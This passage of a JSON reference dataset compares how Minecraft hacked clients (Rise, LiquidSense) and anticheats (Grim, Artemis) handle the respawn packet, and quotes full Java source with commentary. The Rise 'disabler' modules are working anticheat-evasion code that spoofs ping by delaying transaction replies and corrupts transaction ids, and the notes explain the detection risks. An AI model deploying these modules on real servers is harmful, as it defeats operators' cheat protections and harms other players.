      "how_it_works": "On PacketReceiveEvent, S07 clears positionQueue, transactionQueue, blinkQueue and actionNumbers, resets pingStopwatch and transactionStopwatch and sets disabled=false. This is the defensive flush: after respawn or dimension change the old world's transaction stream is dead, so stale C0F uids and queued positions would desync the new world. The ping-spoof branch then restarts collecting negative-action S32 transactions, shuffling and replaying them a second later.",
      "detailed_code": "// ===== FILE: Rise 6.1.30, com/alan/clients/module/impl/exploit/disabler/WatchdogDisabler.java =====\npackage com.alan.clients.module.impl.exploit.disabler;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.other.TeleportEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.module.impl.exploit.Disabler;\nimport com.alan.clients.value.Mode;\nimport com.alan.clients.value.impl.BooleanValue;\nimport net.minecraft.client.gui.inventory.GuiInventory;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C0DPacketCloseWindow;\nimport net.minecraft.network.play.client.C0EPacketClickWindow;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.client.C16PacketClientStatus;\nimport net.minecraft.network.play.server.S07PacketRespawn;\nimport net.minecraft.network.play.server.S32PacketConfirmTransaction;\nimport net.minecraft.util.Vec3;\nimport rip.vantage.commons.util.time.StopWatch;\n\nimport java.util.*;\n\npublic class WatchdogDisabler extends Mode<Disabler> {\n\n    private boolean disabled;\n    private List<Short> actionNumbers;\n    private StopWatch transactionStopwatch;\n    private Queue<Vec3> positionQueue;\n    private Queue<Packet<?>> transactionQueue;\n    private Queue<Packet<?>> blinkQueue;\n    private StopWatch pingStopwatch;\n\n    public WatchdogDisabler(String name, Disabler parent) {\n        super(name, parent);\n\n        this.positionQueue = new ArrayDeque<>();\n        this.transactionQueue = new ArrayDeque<>();\n        this.pingStopwatch = new StopWatch();\n        this.blinkQueue = new ArrayDeque<>();\n        this.actionNumbers = new ArrayList<>();\n        this.transactionStopwatch = new StopWatch();\n    }\n\n    public final BooleanValue morePackets = new BooleanValue(\"More Packets\", this, false);\n    public final BooleanValue ban = new BooleanValue(\"Ping Spoof\", this, false);\n    public final BooleanValue inventory = new BooleanValue(\"Inventory\", this, false);\n\n    @EventLink\n    private final Listener<TeleportEvent> onTeleport = event -> {\n    };\n\n    @EventLink\n    private final Listener<PreMotionEvent> preMotionEventListener = event -> {\n        if (ban.getValue()) {\n            if (!this.actionNumbers.isEmpty() && this.transactionStopwatch.finished(1000L)) {\n                Collections.shuffle(this.actionNumbers);\n                this.actionNumbers.forEach(action -> mc.getNetHandler().getNetworkManager().sendPacket(new C0FPacketConfirmTransaction(0, action, true)));\n                this.actionNumbers.clear();\n                this.disabled = true;\n            }\n        }\n    };\n\n    @EventLink\n    private final Listener<PacketReceiveEvent> packetReceiveEventListener = event -> {\n        if (event.getPacket() instanceof S07PacketRespawn) {\n            this.positionQueue.clear();\n            this.transactionQueue.clear();\n            this.pingStopwatch.reset();\n            this.blinkQueue.clear();\n            this.transactionStopwatch.reset();\n            this.actionNumbers.clear();\n            this.disabled = false;\n        }\n\n        if (ban.getValue()) {\n            if (event.getPacket() instanceof S32PacketConfirmTransaction) {\n                final S32PacketConfirmTransaction transaction = (S32PacketConfirmTransaction) event.getPacket();\n\n                if (transaction.getActionNumber() < 0) {\n                    if (!this.disabled) {\n                        this.actionNumbers.add(transaction.getActionNumber());\n                        transactionStopwatch.reset();\n\n                        event.setCancelled(true);\n                    }\n                }\n            }\n        }\n    };\n\n    @EventLink\n    private final Listener<PacketSendEvent> packetSendEventListener = event -> {\n        if (inventory.getValue()) {\n            if (event.getPacket() instanceof C0EPacketClickWindow && ((C0EPacketClickWindow) event.getPacket()).getWindowId() == mc.thePlayer.inventoryContainer.windowId && !(mc.currentScreen instanceof GuiInventory)) {\n                event.setCancelled();\n                mc.getNetHandler().getNetworkManager().sendUnregisteredPacket(new C16PacketClientStatus(C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT));\n                mc.getNetHandler().getNetworkManager().sendUnregisteredPacket(event.getPacket());\n                mc.getNetHandler().getNetworkManager().sendUnregisteredPacket(new C0DPacketCloseWindow(mc.thePlayer.inventoryContainer.windowId));\n            }\n        }\n    };\n}\n\n// NOTE (AI): This is the Rise 6.1.30 copy; the S07 handler at line 68 is live here. In\n// Rise 6.2.4 the S07PacketRespawn import remains (line 42) but the receive-side flush was\n// removed, so 6.2.4 no longer resets state on respawn. The module is a Mode of the Disabler\n// module and its S07 handling is purely defensive: it guarantees no buffered transaction or\n// position from the pre-respawn world leaks into the new world's stream.\n",
      "code_source": "Rise 6.1.30, com/alan/clients/module/impl/exploit/disabler/WatchdogDisabler.java",
      "vanilla_hook": "PacketReceiveEvent (S07 flush, S32 collection), PreMotionEvent (replay), PacketSendEvent (inventory spoof).",
      "anti_cheat_notes": "The S07 flush itself is invisible; the flag risk is the replay behavior it protects. Without the flush, a queued C0F from before the respawn arrives after the server reset its transaction counter and registers as an unknown action, a classic Watchdog flag.",
      "variations": "Rise 6.2.4 drops the S07 receive handler entirely (import only at line 42), leaving the queue flush to the module's own lifecycle. The 6.1.30 and 6.2.4 files otherwise share the same structure."
     },
     {
      "name": "UniversoCraftDisabler",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "UniversoCraft disabler mode that arms a respawn-window transaction corruption from the S07 packet.",
      "how_it_works": "On the packet send listener, S07 sets disabling=true; C02PacketUseEntity clears it; C03PacketPlayer within the first 10 ticks sets it; and while disabling with ticksExisted below 350, every C0FPacketConfirmTransaction gets its uid overwritten with Short.MIN_VALUE or Short.MAX_VALUE alternating on tick parity. The S07 branch is redundant in practice because the C03-within-10-ticks branch arms the same flag, and its usefulness depends on the client's event wiring delivering clientbound packets to this listener.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/exploit/disabler/UniversoCraftDisabler.java =====\npackage com.alan.clients.module.impl.exploit.disabler;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.module.impl.exploit.Disabler;\nimport com.alan.clients.value.Mode;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C02PacketUseEntity;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.server.S07PacketRespawn;\n\npublic class UniversoCraftDisabler extends Mode<Disabler> {\n    private boolean disabling;\n\n    public UniversoCraftDisabler(String name, Disabler parent) {\n        super(name, parent);\n    }\n\n    @EventLink\n    public final Listener<PacketSendEvent> onPacketSend = event -> {\n        Packet<?> packet = event.getPacket();\n\n        if (packet instanceof S07PacketRespawn) {\n            disabling = true;\n        } else if (packet instanceof C02PacketUseEntity) {\n            disabling = false;\n        } else if (packet instanceof C03PacketPlayer && mc.thePlayer.ticksExisted <= 10) {\n            disabling = true;\n        } else if (packet instanceof C0FPacketConfirmTransaction && disabling && mc.thePlayer.ticksExisted < 350) {\n            ((C0FPacketConfirmTransaction) event.getPacket()).setUid(\n                    mc.thePlayer.ticksExisted % 2 == 0 ? Short.MIN_VALUE : Short.MAX_VALUE);\n        }\n    };\n}\n\n// NOTE (AI): S07PacketRespawn is tested inside a PacketSendEvent listener even though it\n// is a clientbound packet; in Rise's event pipeline this branch only matters if clientbound\n// traffic reaches the send listener, otherwise the flag is armed exclusively by the C03\n// branch (first 10 ticks). The corruption window (ticksExisted < 350, alternating\n// Short.MIN_VALUE / Short.MAX_VALUE uids) targets transaction-continuity checks on\n// UniversoCraft, and the disabling flag is cleared by any C02 attack.\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/exploit/disabler/UniversoCraftDisabler.java",
      "vanilla_hook": "PacketSendEvent (S07/C02/C03/C0F dispatch).",
      "anti_cheat_notes": "Transaction uid corruption is the detectable surface: servers that validate C0F uids drop mismatches and can flag the alternating pattern. The respawn window matters because the server resets its transaction bookkeeping on S07, so corrupting uids during the first 350 ticks hits the anti-cheat before its counters warm up.",
      "variations": "Rise 6.1.30 ships the identical file; the S07 branch and the C03 branch coexist in both builds."
     },
     {
      "name": "MixinNetworkManager (respawn event)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Fire a dedicated EventRespawn on the LiquidBounce event bus whenever S07PacketRespawn arrives, giving every module a hookable world-reload signal at the exact boundary.",
      "how_it_works": "readpacket injects into NetworkManager.channelRead0 right before Packet.processPacket runs: it posts EventPacketReceive and, when the packet is an S07PacketRespawn, also posts EventRespawn before the vanilla handler executes, then cancels the read if the event was cancelled.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetworkManager.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.injection.forge.mixins.network;\n\nimport io.netty.channel.Channel;\nimport io.netty.channel.ChannelHandlerContext;\nimport net.ccbluex.liquidbounce.LiquidBounce;\nimport net.ccbluex.liquidbounce.event.EventPacketReceive;\nimport net.ccbluex.liquidbounce.event.EventRespawn;\nimport net.ccbluex.liquidbounce.event.PacketEvent;\nimport net.minecraft.network.NetworkManager;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.S07PacketRespawn;\nimport org.spongepowered.asm.mixin.Mixin;\nimport org.spongepowered.asm.mixin.Shadow;\nimport org.spongepowered.asm.mixin.injection.At;\nimport org.spongepowered.asm.mixin.injection.Inject;\nimport org.spongepowered.asm.mixin.injection.callback.CallbackInfo;\n\n@Mixin(NetworkManager.class)\npublic class MixinNetworkManager {\n\n    @Shadow\n    private Channel channel;\n\n    @Inject(method = \"channelRead0\", at = @At(\"HEAD\"), cancellable = true)\n    private void read(ChannelHandlerContext context, Packet<?> packet, CallbackInfo callback) {\n        final PacketEvent event = new PacketEvent(packet);\n        LiquidBounce.eventManager.callEvent(event);\n\n        if(event.isCancelled())\n            callback.cancel();\n\n    }\n\n    @Inject(method = \"channelRead0\", at = @At(value = \"INVOKE\", target = \"Lnet/minecraft/network/Packet;processPacket(Lnet/minecraft/network/INetHandler;)V\", shift = At.Shift.BEFORE), cancellable = true)\n    private void readpacket(ChannelHandlerContext context, Packet packet, CallbackInfo callback) {\n        if (this.channel.isOpen()) {\n            EventPacketReceive event = new EventPacketReceive(packet);\n            LiquidBounce.eventManager.callEvent(event);\n            if (packet instanceof S07PacketRespawn) {\n                EventRespawn eventRespawn = new EventRespawn();\n                LiquidBounce.eventManager.callEvent(eventRespawn);\n            }\n            if (event.isCancelled()) {\n                callback.cancel();\n            }\n        }\n\n    }\n\n    @Inject(method = \"sendPacket(Lnet/minecraft/network/Packet;)V\", at = @At(\"HEAD\"), cancellable = true)\n    private void send(Packet<?> packet, CallbackInfo callback) {\n        final PacketEvent event = new PacketEvent(packet);\n        LiquidBounce.eventManager.callEvent(event);\n\n        if(event.isCancelled())\n            callback.cancel();\n    }\n}\n\n\n// NOTE (AI): EventRespawn is fired synchronously before vanilla handleRespawn runs, so modules subscribed to it reset per-world state before the world reload touches entities. The same mixin hosts the client's global packet pipeline: PacketEvent on both channelRead0 (HEAD) and sendPacket, and EventPacketReceive before processPacket.",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/injection/forge/mixins/network/MixinNetworkManager.java",
      "vanilla_hook": "@Inject on NetworkManager.channelRead0 (HEAD and INVOKE processPacket, shift BEFORE); @Inject on sendPacket (HEAD).",
      "anti_cheat_notes": "None: the mixin only observes S07 and re-dispatches events. The cancel path is the generic LiquidBounce packet-cancel mechanism used by any listener, not a respawn-specific manipulation.",
      "variations": "Rise 6.1.30's WatchdogDisabler consumes S07 as its flush point inside module code; LiquidSense Dev is the only client that promotes the packet to a first-class event on the bus."
     }
    ],
    "general_hooks": "Both disabler modes consume S07 to manage a state machine: WatchdogDisabler flushes on PacketReceiveEvent, UniversoCraftDisabler arms a flag on its send-side listener. The packet is never modified, only observed. LiquidSense Dev fires EventRespawn from a MixinNetworkManager channelRead0 injection when the packet is an S07, before the vanilla handler runs.",
    "client_variations": "Rise 6.x event model: @EventLink listener fields on Mode classes under the Disabler module. The 6.1.30 and 6.2.4 trees are structurally identical (com/alan/clients/...) with the 6.2.4 copy under Client-release2/Client/src/main/java. LiquidSense Dev observes S07 at the NetworkManager mixin level and re-dispatches it as a first-class EventRespawn; the Rise 6.x modes consume the packet inside module listeners.",
    "related": [
     "C0FPacketConfirmTransaction",
     "S32PacketConfirmTransaction",
     "C16PacketClientStatus",
     "S08PacketPlayerPosLook"
    ],
    "anticheat": {
     "overview": "The respawn packet is a state-reset command: the world reloads, so every anticheat that keeps per-player state must re-arm it on respawn. Simulation anticheats parse WrapperPlayServerRespawn on the send side and rebuild their player model (Grim, Shard, Artemis), while classic anticheats zero grace timers on PlayerRespawnEvent so freshly respawned players are not flagged by movement and combat checks. The packet itself is never flagged; it is the boundary that makes the checks after it trustworthy.",
     "checks": [
      {
       "name": "PacketPlayerRespawn (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Reset the entire simulated player model on respawn and dimension change: positions, ground flags, attributes, entity list and the death-screen state.",
       "how_it_works": "The RESPAWN branch wraps the packet as WrapperPlayServerRespawn, invalidates the setback teleport (hasAcceptedSpawnTeleport = false), clears server entity positions on world change, and schedules a real-time task that resets onGround, pose, sprinting, food, known input, the self PacketEntity and the BadPacketsE/G/M/F state. KEEP_TRACKED_DATA and KEEP_ATTRIBUTES flags decide what survives on 1.20.2+; isWorldChange compares world name or dimension type to detect cross-dimension teleports that wipe chunks and entities.",
       "detects": "Nothing directly. It prevents stale movement state (old ground flags, old velocity, old entity ids) from leaking across the respawn boundary, which would poison every downstream check.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketPlayerRespawn.java =====\npackage ac.grim.grimac.events.packets;\n\nimport ac.grim.grimac.GrimAPI;\nimport ac.grim.grimac.checks.impl.badpackets.*;\nimport ac.grim.grimac.checks.impl.elytra.ElytraC;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.data.KnownInput;\nimport ac.grim.grimac.utils.data.SprintingState;\nimport ac.grim.grimac.utils.data.TrackerData;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntitySelf;\nimport ac.grim.grimac.utils.enums.Pose;\nimport ac.grim.grimac.utils.math.Vector3dm;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketListenerAbstract;\nimport com.github.retrooper.packetevents.event.PacketListenerPriority;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityTypes;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerJoinGame;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerRespawn;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerUpdateHealth;\n\nimport java.util.Objects;\n\n/**\n * PlayerRespawnS2CPacket info (1.20.2+):\n * If the world is different (check via registry key), world is recreated (all entities etc destroyed).\n * <p>\n * Client player is ALWAYS recreated\n * <p>\n * If the packet has the `KEEP_TRACKED_DATA` flag:\n * Sneaking and Sprinting fields are kept on the new client player.\n * <p>\n * If the packet has the `KEEP_ATTRIBUTES` flag:\n * Attributes are kept.\n * <p>\n * New client player is initialised:\n * Pose is set to standing.\n * Velocity is set to zero.\n * Pitch is set to 0.\n * Yaw is set to -180.\n */\n// TODO update for 1.20.2-\npublic class PacketPlayerRespawn extends PacketListenerAbstract {\n\n    private static final byte KEEP_ATTRIBUTES = 1;\n    private static final byte KEEP_TRACKED_DATA = 2;\n    private static final byte KEEP_ALL = 3;\n\n    public PacketPlayerRespawn() {\n        super(PacketListenerPriority.HIGH);\n    }\n\n    private boolean hasFlag(WrapperPlayServerRespawn respawn, byte flag) {\n        // This packet was added in 1.16\n        if (flag == KEEP_ATTRIBUTES) {\n            // On versions older than 1.15, via does not keep all attributes.\n            // https://github.com/ViaVersion/ViaVersion/blob/master/common/src/main/java/com/viaversion/viaversion/protocols/v1_15_2to1_16/rewriter/EntityPacketRewriter1_16.java#L124\n            if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_15)) {\n                return false;\n            }\n        } else if (flag == KEEP_TRACKED_DATA) {\n            // But for metadata, via DOES keep all data\n            if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_15)) {\n                return true;\n            }\n        }\n\n        return (respawn.getKeptData() & flag) != 0;\n    }\n\n    @Override\n    public void onPacketSend(PacketSendEvent event) {\n        if (event.getPacketType() == PacketType.Play.Server.UPDATE_HEALTH) {\n            WrapperPlayServerUpdateHealth health = new WrapperPlayServerUpdateHealth(event);\n\n            GrimPlayer player = GrimAPI.INSTANCE.getPlayerDataManager().getPlayer(event.getUser());\n            if (player == null) return;\n            //\n            if (player.packetStateData.lastFood == health.getFood()\n                    && player.packetStateData.lastHealth == health.getHealth()\n                    && player.packetStateData.lastSaturation == health.getFoodSaturation()\n                    && PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_9))\n                return;\n\n            player.packetStateData.lastFood = health.getFood();\n            player.packetStateData.lastHealth = health.getHealth();\n            player.packetStateData.lastSaturation = health.getFoodSaturation();\n\n            player.sendTransaction();\n\n            if (health.getFood() == 20) { // Split so transaction before packet\n                player.latencyUtils.addRealTimeTask(player.lastTransactionReceived.get(), () -> player.food = 20);\n            } else { // Split so transaction after packet\n                player.latencyUtils.addRealTimeTask(player.lastTransactionReceived.get() + 1, () -> player.food = health.getFood());\n            }\n\n            if (health.getHealth() <= 0) {\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                    player.compensatedEntities.self.isDead = true;\n                    player.checkManager.getCheck(BadPacketsM.class).onDeath();\n                });\n            } else {\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, () -> player.compensatedEntities.self.isDead = false);\n            }\n\n            event.getTasksAfterSend().add(player::sendTransaction);\n        }\n\n        if (event.getPacketType() == PacketType.Play.Server.JOIN_GAME) {\n            GrimPlayer player = GrimAPI.INSTANCE.getPlayerDataManager().getPlayer(event.getUser());\n            if (player == null) return;\n\n            WrapperPlayServerJoinGame joinGame = new WrapperPlayServerJoinGame(event);\n            player.gamemode = joinGame.getGameMode();\n            player.entityID = joinGame.getEntityId();\n            player.dimensionType = joinGame.getDimensionType();\n            player.worldName = joinGame.getWorldName();\n\n            if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_15)\n                    && event.getServerVersion().isNewerThanOrEquals(ServerVersion.V_1_15)) {\n                player.packetStateData.showsDeathScreen = joinGame.isRespawnScreenEnabled();\n            }\n\n            if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_17))\n                return;\n            player.compensatedWorld.setDimension(joinGame.getDimensionType(), event.getUser());\n        }\n\n        if (event.getPacketType() == PacketType.Play.Server.RESPAWN) {\n            WrapperPlayServerRespawn respawn = new WrapperPlayServerRespawn(event);\n\n            GrimPlayer player = GrimAPI.INSTANCE.getPlayerDataManager().getPlayer(event.getUser());\n            if (player == null) return;\n\n            player.sendTransaction();\n            event.getTasksAfterSend().add(player::sendTransaction);\n\n            // Force the player to accept a teleport before respawning\n            // (We won't process movements until they accept a teleport, we won't let movements though either)\n            // Also invalidate previous positions\n            player.getSetbackTeleportUtil().hasAcceptedSpawnTeleport = false;\n            player.getSetbackTeleportUtil().lastKnownGoodPosition = null;\n\n            // clear server entity positions when the world changes\n            if (isWorldChange(player, respawn)) {\n                player.compensatedEntities.serverPositionsMap.clear();\n            }\n\n            player.addRealTimeTaskNow(player.cameraEntity::reset);\n\n            player.addRealTimeTaskNext(() -> {\n                // From 1.16 to 1.19, this doesn't get set to false for whatever reason\n                if (player.getClientVersion().isOlderThan(ClientVersion.V_1_16) || player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_20)) {\n                    player.isSneaking = false;\n                }\n\n                player.lastOnGround = false;\n                player.clientClaimsLastOnGround = false;\n                player.onGround = false;\n                player.isInBed = false;\n                player.packetStateData.setSlowedByUsingItem(false);\n                player.packetStateData.packetPlayerOnGround = false; // If somewhere else pulls last ground to fix other issues\n                player.packetStateData.lastClaimedPosition = new Vector3d();\n                player.filterMojangStupidityOnMojangStupidity.zero();\n\n                player.checkManager.getCheck(BadPacketsM.class).onRespawn();\n\n                final boolean keepTrackedData = this.hasFlag(respawn, KEEP_TRACKED_DATA);\n\n                if (!keepTrackedData) {\n                    player.food = 20;\n                    player.powderSnowFrozenTicks = 0;\n                    player.compensatedEntities.self.hasGravity = true;\n                    player.playerEntityHasGravity = true;\n                    player.packetStateData.knownInput = KnownInput.DEFAULT;\n                    player.checkManager.getCheck(ElytraC.class).exempt = true;\n\n                    // 1.19.4 uses current sprinting, older versions use last sprinting\n                    if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_19_4)) {\n                        player.isSprinting = false;\n                        player.vehicleData.camelSprintingState = SprintingState.STOPPED;\n                    } else {\n                        player.lastSprintingForSpeed = false;\n                    }\n                }\n\n                player.checkManager.getCheck(BadPacketsE.class).handleRespawn(); // Reminder ticks reset\n                player.checkManager.getCheck(BadPacketsG.class).handleRespawn();\n\n                // compensate for immediate respawn gamerule\n                if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_15)) {\n                    player.checkManager.getCheck(BadPacketsF.class).exemptNext = true;\n                }\n\n                // EVERYTHING gets reset on a cross dimensional teleport, clear chunks and entities!\n                if (isWorldChange(player, respawn)) {\n                    player.compensatedEntities.entityMap.clear();\n                    player.compensatedWorld.activePistons.clear();\n                    player.compensatedWorld.openShulkerBoxes.clear();\n                    player.compensatedWorld.chunks.clear();\n                    player.compensatedGeysers.clear();\n                    player.compensatedWorld.isRaining = false;\n                    player.checkManager.getCheck(BadPacketsH.class).onWorldChange();\n                }\n                player.dimensionType = respawn.getDimensionType();\n                player.worldName = respawn.getWorldName().orElse(null);\n\n                player.compensatedEntities.serverPlayerVehicle = null; // All entities get removed on respawn\n                player.compensatedEntities.self = new PacketEntitySelf(player, player.compensatedEntities.self);\n                player.compensatedEntities.selfTrackedEntity = new TrackerData(0, 0, 0, 0, 0, EntityTypes.PLAYER, player.lastTransactionSent.get());\n\n                player.cameraEntity.reset();\n\n                if (player.getClientVersion().isOlderThan(ClientVersion.V_1_14)) { // 1.14+ players send a packet for this, listen for it instead\n                    player.isSprinting = false;\n                    player.vehicleData.camelSprintingState = SprintingState.STOPPED;\n                    player.checkManager.getCheck(BadPacketsF.class).lastSprinting = false; // Pre 1.14 clients set this to false when creating new entity\n                    // TODO: What the fuck viaversion, why do you throw out keep all metadata?\n                    // The server doesn't even use it... what do we do?\n                    player.compensatedEntities.hasSprintingAttributeEnabled = false;\n                }\n                player.pose = Pose.STANDING;\n                if (!keepTrackedData || player.getClientVersion().isOlderThan(ClientVersion.V_1_21_2)) {\n                    player.clientVelocity = new Vector3dm();\n                }\n                if (!GrimAPI.INSTANCE.getSpectateManager().isSpectating(player.uuid)) {\n                    player.gamemode = respawn.getGameMode();\n                }\n                if (PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_17)) {\n                    player.compensatedWorld.setDimension(respawn.getDimensionType(), event.getUser());\n                }\n\n                if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_16) && !this.hasFlag(respawn, KEEP_ATTRIBUTES)) {\n                    // Reset attributes if not kept\n                    player.compensatedEntities.self.resetAttributes();\n                    player.compensatedEntities.hasSprintingAttributeEnabled = false;\n                }\n            });\n        }\n    }\n\n    private boolean isWorldChange(GrimPlayer player, WrapperPlayServerRespawn respawn) {\n        if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_16) && PacketEvents.getAPI().getServerManager().getVersion().isNewerThan(ServerVersion.V_1_16)) {\n            return !Objects.equals(respawn.getWorldName().orElse(null), player.worldName);\n        }\n\n        ClientVersion version = PacketEvents.getAPI().getServerManager().getVersion().toClientVersion();\n        return respawn.getDimensionType().getId(version) != player.dimensionType.getId(version)\n                || !Objects.equals(respawn.getDimensionType().getName(), player.dimensionType.getName());\n    }\n}\n\n// NOTE (AI): The RESPAWN branch is lines 133-243. BadPacketsE and BadPacketsG handleRespawn calls are the reminder-tick and repeat-packet resets; BadPacketsM.onRespawn clears death-buffer state, and BadPacketsF.exemptNext covers the immediate-respawn gamerule.\n",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketPlayerRespawn.java",
       "variations": "Shard's handleRespawn clears compensatedEntities only; Artemis stamps lastRespawn in MiscellaneousPreProcessor and sets respawnTicks (150) in EmulatorPreProcessor; Kauri resets its lastRespawn TickTimer in PacketHandler; NCP re-inits moving data through dataOnJoin with the joinOrRespawn flag."
      },
      {
       "name": "Respawn pre-processing (Artemis)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Stamp the respawn moment and clear inventory and vehicle state so every check can exempt the respawn window.",
       "how_it_works": "fastHandle runs on the packet thread: GPacketPlayServerRespawn schedules a transaction-confirmed action that calls setLastRespawn(packet.getTimestamp()), closes the inventory state and drops the predicted vehicle. ExemptType.RESPAWN then exempts checks while lastRespawn is under three seconds or respawnTicks is positive, and MovementPreProcessor decrements respawnTicks each tick. The same timestamp is also set from the client's C16 PERFORM_RESPAWN command.",
       "detects": "Nothing on its own; the mechanism is exemption bookkeeping. The dedicated DisablerRespawn check uses the respawn domain to catch clients that abuse the respawn window, while AimIdentical and BadPacketsN read respawnTicks to skip false positives.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.core/src/main/java/ac/artemis/core/v4/processor/miscellaneous/MiscellaneousPreProcessor.java =====\npackage ac.artemis.core.v4.processor.miscellaneous;\n\nimport ac.artemis.core.v4.check.FastProcessHandler;\nimport ac.artemis.core.v4.data.PlayerData;\nimport ac.artemis.core.v4.data.holders.ConnectionHolder;\nimport ac.artemis.core.v4.nms.NMSManager;\nimport ac.artemis.core.v4.processor.AbstractHandler;\nimport ac.artemis.core.v4.utils.function.PacketAction;\nimport cc.ghast.packet.PacketAPI;\nimport cc.ghast.packet.wrapper.mc.PlayerEnums;\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport cc.ghast.packet.wrapper.packet.play.client.GPacketPlayClientClientCommand;\nimport cc.ghast.packet.wrapper.packet.play.client.GPacketPlayClientWindowClose;\nimport cc.ghast.packet.wrapper.packet.play.client.GPacketPlayClientHeldItemSlot;\nimport cc.ghast.packet.wrapper.packet.play.client.GPacketPlayClientTransaction;\nimport cc.ghast.packet.wrapper.packet.play.server.*;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\n\n/**\n * @author Ghast\n * @since 06-Mar-20\n */\npublic class MiscellaneousPreProcessor extends AbstractHandler implements FastProcessHandler {\n\n    public MiscellaneousPreProcessor(PlayerData data) {\n        super(\"Misc [0x01]\", data);\n    }\n\n    @Override\n    public void handle(final GPacket packet) {\n        long now = System.currentTimeMillis();\n        if (packet instanceof GPacketPlayClientHeldItemSlot) {\n            data.user.usingItem = false;\n        }\n\n        else if (packet instanceof GPacketPlayClientClientCommand) {\n            final GPacketPlayClientClientCommand cmd = (GPacketPlayClientClientCommand) packet;\n            if (cmd.getCommand().equals(PlayerEnums.ClientCommand.PERFORM_RESPAWN)) {\n                data.user.setLastRespawn(packet.getTimestamp());\n                data.prediction.setVehicle(null);\n            }\n        }\n\n        else if (packet instanceof GPacketPlayClientTransaction) {\n            final GPacketPlayClientTransaction trx = (GPacketPlayClientTransaction) packet;\n            if (!trx.isAccepted()) {\n                //data.user.setInventoryOpen(true);\n            }\n        }\n\n        else if (packet instanceof GPacketPlayClientWindowClose) {\n            data.user.setInventoryOpen(false);\n        }\n\n\n\n        /*else if (packet instanceof GPacketPlayServerEntityTeleport) {\n            final GPacketPlayServerEntityTeleport tp = (GPacketPlayServerEntityTeleport) packet;\n\n            if (data.prediction.getVehicle() != null &&\n                    (tp.getEntityId() == data.getPlayer().getEntityId() || tp.getEntityId() == data.prediction.getVehicle().getEntityId())) {\n                data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                    @Override\n                    public void pre() {\n                        data.prediction.setVehicle(null);\n                    }\n                });\n            }\n        }*/\n\n        /*else if (packet instanceof GPacketPlayServerPosition) {\n            if (data.prediction.getVehicle() != null) {\n                data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                    @Override\n                    public void pre() {\n                        data.prediction.setVehicle(null);\n                    }\n                });\n            }\n        }*/\n\n        data.timing.miscTiming.addTime(now, System.currentTimeMillis());\n    }\n\n    @Override\n    public void fastHandle(GPacket packet) {\n        if (packet instanceof GPacketPlayServerRespawn) {\n            data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                @Override\n                public void pre() {\n                    